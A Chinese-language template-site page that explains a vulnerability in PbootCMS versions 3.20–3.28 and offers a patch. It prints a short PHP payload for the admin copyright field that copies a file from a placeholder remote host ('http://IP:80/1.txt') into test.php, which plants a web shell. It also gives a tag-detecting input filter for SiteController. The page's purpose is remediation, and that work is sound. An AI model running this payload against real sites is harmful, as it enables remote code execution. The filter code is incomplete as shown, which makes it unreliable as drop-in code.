PBOOTCMS 3.20 3.24 3.25 3.28通杀漏洞修复代码 暂无演示

PBOOTCMS 3.20 3.24 3.25 3.28通杀漏洞修复代码

售价:
暂无购买权限
  • 普通用户暂无购买权限 升级会员
  • 会员会员购买价格 :0积分
  • 终身会员购买价格 : 免费
  • 坚持每天更新
  • 多平台源码收集
  • VIP群保障服务
  • 收集分享更新
  • 海量源码资源
  • 技术支持保障有力

升级尊贵会员
享受全站VIP待遇

1627+
会员已经加入
  • 文章介绍
  • 评价建议
  • 漏洞原理

    通过后台设置设置开启缓存 在版权设置添加

    <?php

    $test=”copy”;

    $test(“http://IP:80/1.txt”,”test.php”);

    ?>

    会执行copy 在程序目录复制一份text.php的文件,文件的内容是 http://IP:80/1.txt 这个的内容

     

    修复方法 将 apps\admin\controller\content

    目录下的 SiteController.php加一个判断

    // 修改站点信息
    public function mod()
    {
        if (! $_POST) {
            return;
        }
        
        // 安全过滤:移除所有字段中的PHP标签
        $cleanData = [];
        foreach ($_POST as $key => $value) {
        // 增强型标签过滤(支持多标签检测)
        if (is_string($value) && preg_match('/(<\?(php|=|[^a-z]|%))/i', $value)) {
            // 检测具体标签类型
            $detected_tags = [];
            if (preg_match('/<\?php/i', $value)) $detected_tags[] = 'PHP标准标签';
            if (preg_match('/<\?=|\bphp\b/i', $value)) $detected_tags[] = '短标签';
            if (preg_match('/<%|%>/', $value)) $detected_tags[] = 'ASP风格标签';
            
            // 构建错误提示
            $error_msg = '提交内容包含非法代码标签已经记录IP:' . implode('、', $detected_tags);
            error($error_msg);
        }
    
        // 保留原始处理逻辑(建议后续添加更多清理措施)
        $cleanData[$key] = $value;
    }
    有问题可以加入技术QQ群一起交流学习
    本站vip会员 请加入无忧模板网 VIP群(50604020) PS:加入时备注用户名或昵称
    普通注册会员或访客 请加入无忧模板网 技术交流群(50604130)
    客服微信号:15898888535

    pbootcms模板网 » PBOOTCMS 3.20 3.24 3.25 3.28通杀漏洞修复代码

    发表评论